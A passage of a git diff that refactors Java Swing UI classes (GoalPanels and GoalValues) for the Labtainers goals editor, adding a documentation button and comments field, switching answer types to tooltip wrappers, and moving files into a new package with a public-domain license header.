GoalsUI.ParamReferenceStorage.resultTagInput; -import GoalsUI.ToolTipHandlers.ToolTipWrapper; -import static GoalsUI.ToolTipHandlers.setComboItems; import java.awt.Dimension; import java.util.List; import javax.swing.DefaultComboBoxModel; import javax.swing.JComboBox; import javax.swing.JPanel; import javax.swing.JTextField; +import javax.swing.JDialog; +import static labtainers.goalsui.ParamReferenceStorage.GoalType_ITEMS; +import static labtainers.goalsui.ParamReferenceStorage.Operator_ITEMS; +import static labtainers.goalsui.ParamReferenceStorage.Answer_ITEMS; +import static labtainers.goalsui.ParamReferenceStorage.goalInput; +import static labtainers.goalsui.ParamReferenceStorage.opInput; +import static labtainers.goalsui.ParamReferenceStorage.resultTagInput; +import labtainers.goalsui.ParamReferenceStorage; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; +import static labtainers.mainui.ToolTipHandlers.setComboItems; /** * - * @author Dan + * @author student */ - -//NOTE: Previous Matchany ComboBox has not been implemented at all- 9/13/17 - - - public class GoalPanels extends javax.swing.JPanel { + + /** + * Creates new form GoalPanels + */ static Dimension dim = new Dimension(975, 100); private GoalsUI goalsUI; + private GoalsData dataUI; private int rowNum; private List resultTags; private List parameterIDs; private List booleanResultTags; - + private String comments; + //Creating fresh goal line public GoalPanels(GoalsUI ui, GoalsData dataUI) { initiateGoalPanel(ui, dataUI, dataUI.getRowCount()); - this.revalidate(); - this.repaint(); } - + //Loading goal line public GoalPanels(GoalsUI ui, GoalsData dataUI, GoalValues goalVal, int rowNum) { initiateGoalPanel(ui, dataUI, rowNum); @@ -63,13 +88,18 @@ public class GoalPanels extends javax.swing.JPanel { setArithmeticResultTagTextField(goalVal.resultTag); setAnswerTypeComboBox(goalVal.answerType); - - if(goalVal.answerType.equals(answerTypes[0])) //Literal + + if(goalVal.answerType.equals(Answer_ITEMS[0].getItem())){ + //Literal + //System.out.println("literal set "+goalVal.answerTag); setAnswerTagTextField(goalVal.answerTag); - else if(goalVal.answerType.equals(answerTypes[1])) //Result Tag + }else if(goalVal.answerType.equals(Answer_ITEMS[1].getItem())){ + //Result Tag setResultTag2ComboBox(goalVal.answerTag); - else //Parameter & Parameter_ASCII + }else{ + //Parameter & Parameter_ASCII setParameterComboBox(goalVal.answerTag); + } setBooleanTextField(goalVal.booleanExp); @@ -81,15 +111,18 @@ public class GoalPanels extends javax.swing.JPanel { setSubgoalTextField(goalVal.subgoalList); + this.comments = goalVal.comments; + this.revalidate(); this.repaint(); } - //Use for loading a line + //Use for loading a line private void initiateGoalPanel(GoalsUI ui, GoalsData dataUI, int rowNum){ initComponents(); this.goalsUI = ui; + this.dataUI = dataUI; this.rowNum = rowNum; resultTags = dataUI.getResultTagList(); @@ -117,14 +150,13 @@ public class GoalPanels extends javax.swing.JPanel { //Load ComboBox Items setComboItems(GoalTypeComboBox, GoalType_ITEMS); setComboItems(OperatorComboBox, Operator_ITEMS); - ResultTagComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(resultTags.toArray(new String[resultTags.size()]))); - AnswerTypeComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(answerTypes)); + AnswerTypeComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(Answer_ITEMS)); if(parameterIDs.isEmpty()){ - AnswerTypeComboBox.removeItem(answerTypes[2]); - AnswerTypeComboBox.removeItem(answerTypes[3]); + AnswerTypeComboBox.removeItem(Answer_ITEMS[2]); + AnswerTypeComboBox.removeItem(Answer_ITEMS[3]); } else ParameterComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(parameterIDs.toArray(new String[parameterIDs.size()]))); @@ -165,16 +197,19 @@ public class GoalPanels extends javax.swing.JPanel { rowLabel = new javax.swing.JLabel(); UpButton = new javax.swing.JButton(); DownButton = new javax.swing.JButton(); + DocButton = new javax.swing.JButton(); - setPreferredSize(new java.awt.Dimension(1110, 69)); + setMinimumSize(new java.awt.Dimension(1110, 69)); ArtifactPanel.setBorder(new javax.swing.border.SoftBevelBorder(javax.swing.border.BevelBorder.RAISED)); ArtifactPanel.setMinimumSize(new java.awt.Dimension(1400, 0)); ArtifactPanel.setPreferredSize(new java.awt.Dimension(1300, 34)); + GoalTypeComboBox.setToolTipText("Hover over pulldown items for information about each goal type."); + GoalTypeComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Goal Type")); GoalTypeComboBox.addItemListener(new java.awt.event.ItemListener() { public void itemStateChanged(java.awt.event.ItemEvent evt) { - goalTypeItemChanged(evt); + GoalTypeComboBoxgoalTypeItemChanged(evt); } }); @@ -200,6 +235,7 @@ public class GoalPanels extends javax.swing.JPanel { ArithmeticResultTagTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Arithmetic Result Tag")); + AnswerTypeComboBox.setToolTipText("Hover over pulldown values for information about different answer types."); AnswerTypeComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Answer Type")); AnswerTypeComboBox.addItemListener(new java.awt.event.ItemListener() { public void itemStateChanged(java.awt.event.ItemEvent evt) { @@ -207,6 +243,9 @@ public class GoalPanels extends javax.swing.JPanel { } }); + ParameterComboBox.setToolTipText("Parameter whose value is to be compared."); + ParameterComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Parameter")); + BooleanResultTagsComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Boolean Result Tags")); javax.swing.GroupLayout ArtifactPanelLayout = new javax.swing.GroupLayout(ArtifactPanel); @@ -230,10 +269,10 @@ public class GoalPanels extends javax.swing.JPanel { .addComponent(AnswerTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(AnswerTagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 193, javax.swing.GroupLayout.PREFERRED_SIZE) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGap(52, 52, 52) .addComponent(ResultTag2ComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 155, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(ParameterComboBox, 0, 150, Short.MAX_VALUE) + .addComponent(ParameterComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 153, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(BooleanTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 404, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) @@ -250,47 +289,36 @@ public class GoalPanels extends javax.swing.JPanel { .addComponent(PreviousMatchanyComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); - - ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {Goal1TextField, Goal2TextField}); - - ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {ParameterComboBox, ResultTag2ComboBox}); - - ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {BooleanResultTagsComboBox, PreviousMatchanyComboBox}); - ArtifactPanelLayout.setVerticalGroup( ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, ArtifactPanelLayout.createSequentialGroup() + .addGroup(ArtifactPanelLayout.createSequentialGroup() .addGap(14, 14, 14) - .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(GoalTypeComboBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(OperatorComboBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(ParameterComboBox) .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(ValueTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(SubgoalTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addComponent(Goal2TextField, javax.swing.GroupLayout.Alignment.TRAILING) - .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) - .addComponent(GoalIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) - .addComponent(GoalTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(BooleanTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Goal1TextField, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) - .addComponent(OperatorComboBox) .addComponent(ExecutableFileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(ResultTagComboBox) .addComponent(ArithmeticResultTagTextField) .addComponent(AnswerTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(AnswerTagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) - .addComponent(ResultTag2ComboBox, javax.swing.GroupLayout.Alignment.TRAILING) - .addComponent(ParameterComboBox, javax.swing.GroupLayout.Alignment.TRAILING)) - .addComponent(BooleanResultTagsComboBox) - .addComponent(PreviousMatchanyComboBox)) - .addGap(83, 83, 83)) + .addComponent(ResultTag2ComboBox, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(BooleanResultTagsComboBox, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(PreviousMatchanyComboBox, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(GoalIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); - ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {Goal1TextField, Goal2TextField, SubgoalTextField, ValueTextField}); - - ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {AnswerTagTextField, AnswerTypeComboBox, ArithmeticResultTagTextField, BooleanTextField, ExecutableFileTextField, OperatorComboBox, ParameterComboBox, ResultTag2ComboBox, ResultTagComboBox}); - DeleteButton.setText("Delete"); DeleteButton.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { @@ -315,6 +343,13 @@ public class GoalPanels extends javax.swing.JPanel { } }); + DocButton.setText("Doc"); + DocButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DocButtonActionPerformed(evt); + } + }); + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); this.setLayout(layout); layout.setHorizontalGroup( @@ -328,37 +363,43 @@ public class GoalPanels extends javax.swing.JPanel { .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(UpButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(DownButton, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE)) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(DeleteButton) - .addGap(73, 73, 73)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(DocButton) + .addComponent(DeleteButton)) + .addGap(51, 51, 51)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 80, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) - .addGroup(layout.createSequentialGroup() + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(UpButton) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(DownButton)) - .addComponent(DeleteButton, javax.swing.GroupLayout.PREFERRED_SIZE, 58, javax.swing.GroupLayout.PREFERRED_SIZE)) - .addComponent(rowLabel))) + .addComponent(DeleteButton, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(DownButton) + .addComponent(DocButton))) + .addComponent(rowLabel)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addComponent(ArtifactPanel, javax.swing.GroupLayout.DEFAULT_SIZE, 92, Short.MAX_VALUE) ); }// //GEN-END:initComponents + private void GoalTypeComboBoxgoalTypeItemChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_GoalTypeComboBoxgoalTypeItemChanged + goalTypeListener(); + }//GEN-LAST:event_GoalTypeComboBoxgoalTypeItemChanged + + private void AnswerTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_AnswerTypeComboBoxItemStateChanged + answerTypeListener(); + }//GEN-LAST:event_AnswerTypeComboBoxItemStateChanged + private void DeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DeleteButtonActionPerformed - deleteButton(); + deleteButton(); }//GEN-LAST:event_DeleteButtonActionPerformed - private void deleteButton(){ - JPanel container = (JPanel)this.getParent(); - container.remove(this); - goalsUI.dataUI.decreaseRowCount(); - goalsUI.refresh(); - } - private void UpButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpButtonActionPerformed swapUpdate("UP", rowNum-1); //Subtract rowNum by one to get the proper index number }//GEN-LAST:event_UpButtonActionPerformed @@ -367,15 +408,42 @@ public class GoalPanels extends javax.swing.JPanel { swapUpdate("DOWN", rowNum-1); //Subtract rowNum by one to get the proper index number }//GEN-LAST:event_DownButtonActionPerformed - private void goalTypeItemChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_goalTypeItemChanged - goalTypeListener(); - }//GEN-LAST:event_goalTypeItemChanged + private void DocButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DocButtonActionPerformed + DocPanel panel = new DocPanel(); - private void AnswerTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_AnswerTypeComboBoxItemStateChanged - answerTypeListener(); - }//GEN-LAST:event_AnswerTypeComboBoxItemStateChanged + panel.setDoc(this.comments); + //panel.setVisible(true); + JDialog dialog = new JDialog(); + panel.setDialog(dialog); + //dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); + dialog.setModal(true); + dialog.add(panel); + dialog.pack(); + dialog.setLocation(200, 200); + dialog.setTitle("Documentation for "+GoalIDTextField.getText()); + dialog.setVisible(true); + if(panel.isOK()){ + this.comments = panel.getDoc(); + } + dialog.dispose(); + }//GEN-LAST:event_DocButtonActionPerformed + + // BUTTONS and LISTENERS // + + private void deleteButton(){ + JPanel container = (JPanel)this.getParent(); + container.remove(this); + goalsUI.data.decreaseRowCount(); + goalsUI.refresh(); + } + private void goalTypeListener(){ + Object item = GoalTypeComboBox.getSelectedItem(); + if(item == null){ + System.out.println("Goal type item "+item); + return; + } String goalType = ((ToolTipWrapper)GoalTypeComboBox.getSelectedItem()).getItem(); if(opInput.contains(goalType)) @@ -398,6 +466,8 @@ public class GoalPanels extends javax.swing.JPanel { private void visibilityHandler(String type){ OperatorComboBox.setVisible(false); + if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[5]) == -1) + OperatorComboBox.insertItemAt(Operator_ITEMS[5], 0); if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[4]) == -1) OperatorComboBox.insertItemAt(Operator_ITEMS[4], 0); if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[2]) == -1) @@ -424,10 +494,10 @@ public class GoalPanels extends javax.swing.JPanel { ArithmeticResultTagTextField.setText(""); AnswerTypeComboBox.setVisible(false); - AnswerTypeComboBox.setSelectedItem(answerTypes[0]); + AnswerTypeComboBox.setSelectedItem(Answer_ITEMS[0]); //"Result Tag" may have been removed by the execute goaltype so readd it to the combo box to reset it back to default if(((DefaultComboBoxModel)AnswerTypeComboBox.getModel()).getIndexOf("Result Tag") == -1) - AnswerTypeComboBox.addItem("Result Tag"); + AnswerTypeComboBox.addItem(Answer_ITEMS[1]); AnswerTagTextField.setVisible(false); AnswerTagTextField.setText(""); @@ -492,7 +562,7 @@ public class GoalPanels extends javax.swing.JPanel { ResultTagComboBox.setVisible(true); AnswerTypeComboBox.setVisible(true); //Answertag is expected to be a literal value or a symbolic name from parameters.config (pg. 26 in labtainers manual) - AnswerTypeComboBox.removeItem("Result Tag"); + AnswerTypeComboBox.removeItem(Answer_ITEMS[1]); // Result Tag AnswerTagTextField.setVisible(true); break; case "matche": @@ -515,9 +585,9 @@ public class GoalPanels extends javax.swing.JPanel { } private void answerTypeListener(){ - String answerType = (String)(AnswerTypeComboBox.getSelectedItem()); + ToolTipWrapper answerType = (ToolTipWrapper)(AnswerTypeComboBox.getSelectedItem()); - if(answerType.equals(answerTypes[0])){ //Literal + if(answerType.equals(Answer_ITEMS[0])){ //Literal AnswerTagTextField.setVisible(true); ResultTag2ComboBox.setVisible(false); @@ -528,7 +598,7 @@ public class GoalPanels extends javax.swing.JPanel { if(parameterIDs != null && !parameterIDs.isEmpty()) ParameterComboBox.setSelectedItem(parameterIDs.get(0)); } - else if(answerType.equals(answerTypes[1])){ //Result Tag + else if(answerType.equals(Answer_ITEMS[1])){ //Result Tag AnswerTagTextField.setVisible(false); AnswerTagTextField.setText(""); @@ -538,7 +608,7 @@ public class GoalPanels extends javax.swing.JPanel { if(parameterIDs != null && !parameterIDs.isEmpty()) ParameterComboBox.setSelectedItem(parameterIDs.get(0)); } - else if(answerType.equals(answerTypes[2]) || answerType.equals(answerTypes[3])){ + else if(answerType.equals(Answer_ITEMS[2]) || answerType.equals(Answer_ITEMS[3])){ AnswerTagTextField.setVisible(false); AnswerTagTextField.setText(""); @@ -555,11 +625,22 @@ public class GoalPanels extends javax.swing.JPanel { //Swaps goal order in the list of goals and then redraws them protected void swapUpdate(String type, int rowIndex){ - goalsUI.dataUI.updateListofGoals(goalsUI.getPanelofGoals()); - goalsUI.dataUI.swapGoals(type, rowIndex); - goalsUI.goalsPanelRedraw(); + goalsUI.data.updateListofGoals(goalsUI.getPanelofGoals()); + goalsUI.data.swapGoals(type, rowIndex); + goalsUI.loadUI(); } - + + public void updateParameters(){ + String current = (String) ParameterComboBox.getSelectedItem(); + parameterIDs = dataUI.getParameters(); + ParameterComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(parameterIDs.toArray(new String[parameterIDs.size()]))); + if(parameterIDs.contains(current)){ + ParameterComboBox.setSelectedItem(current); + }else{ + String id = getGoalIDTextField().getText(); + System.out.println("ERROR, goal "+id+" parameter of "+current+" was removed from parameters."); + } + } //Field Getters public JTextField getGoalIDTextField(){ @@ -622,6 +703,9 @@ public class GoalPanels extends javax.swing.JPanel { return SubgoalTextField; } + public String getComments(){ + return this.comments; + } //Field SETTERS @@ -650,7 +734,8 @@ public class GoalPanels extends javax.swing.JPanel { } private void setAnswerTypeComboBox(String v){ - AnswerTypeComboBox.setSelectedItem(v); + ToolTipWrapper tip = ParamReferenceStorage.getWrapper(Answer_ITEMS, v); + AnswerTypeComboBox.setSelectedItem(tip); } private void setAnswerTagTextField(String v){ @@ -686,14 +771,17 @@ public class GoalPanels extends javax.swing.JPanel { } + + // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JTextField AnswerTagTextField; - private javax.swing.JComboBox AnswerTypeComboBox; + private javax.swing.JComboBox AnswerTypeComboBox; private javax.swing.JTextField ArithmeticResultTagTextField; private javax.swing.JPanel ArtifactPanel; private javax.swing.JComboBox BooleanResultTagsComboBox; private javax.swing.JTextField BooleanTextField; private javax.swing.JButton DeleteButton; + private javax.swing.JButton DocButton; private javax.swing.JButton DownButton; private javax.swing.JTextField ExecutableFileTextField; private javax.swing.JTextField Goal1TextField; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalValues.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalValues.java similarity index 60% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalValues.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalValues.java index 18286fa8c..4d99ea6c5 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalValues.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalValues.java @@ -1,158 +1,215 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package GoalsUI; - -import static GoalsUI.ParamReferenceStorage.GoalType_ITEMS; -import static GoalsUI.ParamReferenceStorage.Operator_ITEMS; -import static GoalsUI.ParamReferenceStorage.answerTypes; -import static GoalsUI.ParamReferenceStorage.goalInput; -import static GoalsUI.ParamReferenceStorage.opInput; -import static GoalsUI.ParamReferenceStorage.resultTagInput; -import java.util.List; - - -/** - * - * @author Dan - */ - -//****The param parsing in this class is limited to where the param value's corresponding index is on the goal line. - //If at any point this alignment is modified with less or more params, this code will need to be revised -public class GoalValues { - //Values to be obtained - String goalID, resultTag, answerTag, answerType, booleanExp, goal1, goal2, value, subgoalList, executableFile; - - ToolTipHandlers.ToolTipWrapper goalType, operator; - - //Constructor for loading goals into the UI - GoalValues(String goalLine, List resultTags){ - goalID = resultTag = answerType = answerTag = booleanExp = goal1 = goal2 = value = subgoalList = executableFile = ""; - goalType = null; - operator = Operator_ITEMS[0]; - //by default set the result tag to the first result tag in the resultTags list (Warning: an error will occur if there is nothing the results tags list) - resultTag = resultTags.get(0); - answerType = answerTypes[0]; - - String[] paramParsedLine = goalLine.split(" : "); - - //Get goal ID - goalID = paramParsedLine[0].split(" = ")[0].trim(); - - //System.out.println(paramParsedLine[0].split(" = ")[1]); - - - - //Get goal type - if(paramParsedLine[0].split(" = ")[1].trim().equals("count")){ - if(paramParsedLine.length > 2) - goalType = GoalType_ITEMS[10]; //count_matches - else - goalType = GoalType_ITEMS[9]; //count_value - } - else - goalType = itemFinder(GoalType_ITEMS, paramParsedLine[0].split(" = ")[1].trim()); - - if(opInput.contains(goalType.getItem())){ - operator = itemFinder(Operator_ITEMS, paramParsedLine[1]); - resultTag = paramParsedLine[2]; - - //Overwrite the goaltype to "matchExpression" if the result tag has a parenthesis (this indicates an arithmetic expression) - if(resultTag.contains("(")){ - goalType = GoalType_ITEMS[12]; - //take out outer parens in resultTag - if(resultTag.startsWith("(") && resultTag.endsWith(")")) - resultTag = resultTag.substring(1, resultTag.length() -1); - } - - answerTagModifier(paramParsedLine[3], resultTags); - } - else if(goalInput.contains(goalType.getItem())){ - goal1 = paramParsedLine[1].trim(); - goal2 = paramParsedLine[2].trim(); - } - else if(resultTagInput.contains(goalType.getItem())){ - resultTag = paramParsedLine[1].trim(); - } - else if("boolean".equals(goalType.getItem())){ - booleanExp = paramParsedLine[1]; - } - else if("count_greater".equals(goalType.getItem())){ - value = paramParsedLine[1].trim(); - subgoalList = paramParsedLine[2].trim(); - //Chop off the surrounding parens since this will be readded when written - if(subgoalList.startsWith("(") && subgoalList.endsWith(")")) - subgoalList = subgoalList.substring(1, subgoalList.length() -1); - } - else if("execute".equals(goalType.getItem())){ - executableFile = paramParsedLine[1]; - resultTag = paramParsedLine[2]; - answerTagModifier(paramParsedLine[3], resultTags); - } - else - System.out.println("Goal Type doesn't match any"); - } - - //Constructor for temporarily storing values of artifacts in the UI - GoalValues(String goalID, ToolTipHandlers.ToolTipWrapper goalType, ToolTipHandlers.ToolTipWrapper operator, String resultTag, String answerType, String answerTag, String booleanExp, String goal1, String goal2, String value, String subgoalList, String executableFile){ - this.goalID = goalID; - this.goalType = goalType; - this.operator = operator; - this.resultTag = resultTag; - this.answerType = answerType; - this.answerTag = answerTag; - this.booleanExp = booleanExp; - this.goal1 = goal1; - this.goal2 = goal2; - this.value = value; - this.subgoalList = subgoalList; - this.executableFile = executableFile; - } - - //set the answertype & answertag to be displayed on the gui based on the config's answer tag - private void answerTagModifier(String aT, List resultTags){ - if(aT.contains("answer=")){ - answerTag = aT.split("answer=")[1]; - } - else if(resultTags.contains(aT)){ - answerTag = aT; - answerType = answerTypes[1]; //Result Tags - } - else if(aT.contains("result.")){ - answerTag = aT.split("result.")[1]; - answerType = answerTypes[1]; //Result Tags - } - else if(aT.contains("parameter.")){ - answerTag = aT.split("parameter.")[1]; - answerType = answerTypes[2]; //Parameter - } - else if(aT.contains("parameter_ascii.")){ - answerTag = aT.split("parameter_ascii.")[1]; - answerType = answerTypes[3]; //Parameter_ASCII - } - } - - - private ToolTipHandlers.ToolTipWrapper itemFinder(ToolTipHandlers.ToolTipWrapper[] list,String desired){ - for(ToolTipHandlers.ToolTipWrapper item : list){ - if(item.getItem().equals(desired)){ - return item; - } - } - return null; - } - - private boolean isInteger(String s){ - try{ - Integer.parseInt(s); - - return true; - } - catch(NumberFormatException ex){ - return false; - } - } - -} +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +*/ +package labtainers.goalsui; + +import java.util.List; +import static labtainers.goalsui.ParamReferenceStorage.GoalType_ITEMS; +import static labtainers.goalsui.ParamReferenceStorage.Operator_ITEMS; +import static labtainers.goalsui.ParamReferenceStorage.answerTypes; +import static labtainers.goalsui.ParamReferenceStorage.goalInput; +import static labtainers.goalsui.ParamReferenceStorage.opInput; +import static labtainers.goalsui.ParamReferenceStorage.resultTagInput; +import 